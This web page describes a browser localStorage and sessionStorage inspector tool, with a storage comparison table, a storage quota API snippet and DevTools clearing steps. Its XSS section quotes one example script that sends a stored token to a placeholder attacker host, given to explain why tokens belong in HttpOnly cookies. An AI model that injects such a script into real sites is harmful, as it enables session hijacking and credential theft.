Skip to content
Toolcroft

Developer Tools

Browser Storage Inspector - localStorage & sessionStorage Viewer

View, add, edit, and delete localStorage and sessionStorage entries in your browser. See the byte size of each key, total storage usage, and switch between storage types.

Storage is empty.

Browser storage comparison

TypeCapacityPersistenceScope
localStorage5–10 MBUntil manually clearedOrigin (same domain + protocol + port)
sessionStorage5–10 MBUntil tab closesSingle browser tab
Cookies4 KB per cookieUntil expiry or clearedDomain (can be sent to server)
IndexedDBUp to 80% of diskUntil manually clearedOrigin
Cache StorageLarge (quota-managed)Until cleared or evictedOrigin (Service Workers)

Security note

Never store sensitive data (tokens, passwords, PII) in localStorage - it's accessible to any JavaScript running on the page, making it vulnerable to XSS attacks. Use HttpOnly cookies for authentication tokens.

XSS and localStorage: a concrete example

Suppose a site stores a JWT access token in localStorage and has an XSS vulnerability - even a minor one, such as unsanitized user-generated content. An attacker can inject a script like fetch('https://attacker.com/?t=' + localStorage.getItem('token')) and silently exfiltrate the token to steal the user's session. An HttpOnly cookie, by contrast, cannot be read by JavaScript at all - even injected scripts cannot access it - making session hijacking via XSS impossible with that mechanism alone.

Storage Quota API

The navigator.storage.estimate() API lets web applications check how much storage they are currently using and how much is available. It returns a promise resolving to an object with usage (bytes used) and quota (bytes available). Useful for progressive web apps that cache large assets or store significant user data offline.

const { usage, quota } = await navigator.storage.estimate();
console.log(`Using ${Math.round(usage / 1024 / 1024)} MB of ${Math.round(quota / 1024 / 1024)} MB`);

Clearing storage for a specific origin

In Chrome DevTools: open the Application panel -> select Storage in the left sidebar -> click Clear site data. This clears localStorage, sessionStorage, cookies, IndexedDB, and the Cache Storage for the current origin in one click. You can also clear individual storage types by expanding the relevant sections.